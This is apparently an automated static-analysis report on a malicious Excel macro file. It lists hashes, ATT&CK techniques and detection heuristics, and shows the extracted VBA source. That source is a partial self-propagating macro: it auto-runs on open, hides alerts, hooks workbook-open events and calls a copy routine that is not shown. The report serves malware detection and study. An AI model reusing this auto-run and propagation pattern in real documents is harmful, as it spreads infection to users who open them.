Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b91e43d1f3851645…

MALICIOUS

Office (OLE)

84.5 KB Created: 2012-08-31 03:33:15 Authoring application: Microsoft Excel First seen: 2015-09-15
MD5: 0d3bfb5039444c96c78047c85da4a620 SHA-1: d04c29a565cd11f3c881b72ae0be39e7c41b388d SHA-256: b91e43d1f3851645054974719a1f08ffb93622b35ddbd8093d5d061fd88ebbda
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Excel file containing VBA macros, including a Workbook_Open event handler. This suggests the macro executes automatically when the workbook is opened. The presence of XLM macros and a large slack space anomaly further indicate malicious intent. The VBA code appears to be designed to execute arbitrary code, likely to download and run a secondary payload, although the specific payload execution is not directly visible in the provided script.

Heuristics 4

  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 86,528 bytes but its declared streams total only 5,750 bytes — 80,778 bytes (93%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1720 bytes
SHA-256: 648255697b1aa09242376544bd8a19940878b3e1a3136dd103a037951c30480b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public WithEvents xx As Application
Attribute xx.VB_VarHelpID = -1
Private Sub Workbook_open()
Set xx = Application
On Error Resume Next
Application.DisplayAlerts = False
Call do_what
End Sub
Private Sub xx_workbookOpen(ByVal wb As Workbook)
On Error Resume Next
wb.VBProject.References.AddFromGuid _
GUID:="{0002E157-0000-0000-C000-000000000046}", _
Major:=5, Minor:=3
Application.ScreenUpdating = False
Application.DisplayAlerts = False
copystart wb
Application.ScreenUpdating = True
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.